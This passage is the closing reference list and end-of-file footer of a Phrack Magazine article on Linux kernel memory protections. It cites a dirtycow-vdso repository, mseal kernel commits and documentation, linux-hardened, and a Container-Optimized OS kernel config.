https://web.archive.org/web/20160120132619/http://itszn.com/blog/?p=21
[4] - dirtycow-vdso
https://github.com/scumjr/dirtycow-vdso
[5] - mseal sysmap: kernel config and header change
https://github.com/torvalds/linux/commit/5796d3967c0956734bd1249f76989ca80da0225b
[6] - Introduction of mseal
https://www.kernel.org/doc/Documentation/userspace-api/mseal.rst
[7] - linux-hardened
https://github.com/anthraxx/linux-hardened
[8] - cos/third_party/kernel/refs/heads/cos-6.12/./arch/x86/configs/lakitu_defconfig
https://cos.googlesource.com/third_party/kernel/+/refs/heads/cos-6.12/arch/x86/configs/lakitu_defconfig
|=[ EOF ]=---------------------------------------------------------------=|
![..[ Phrack Magazine ]..](/images/phrack-new.webp)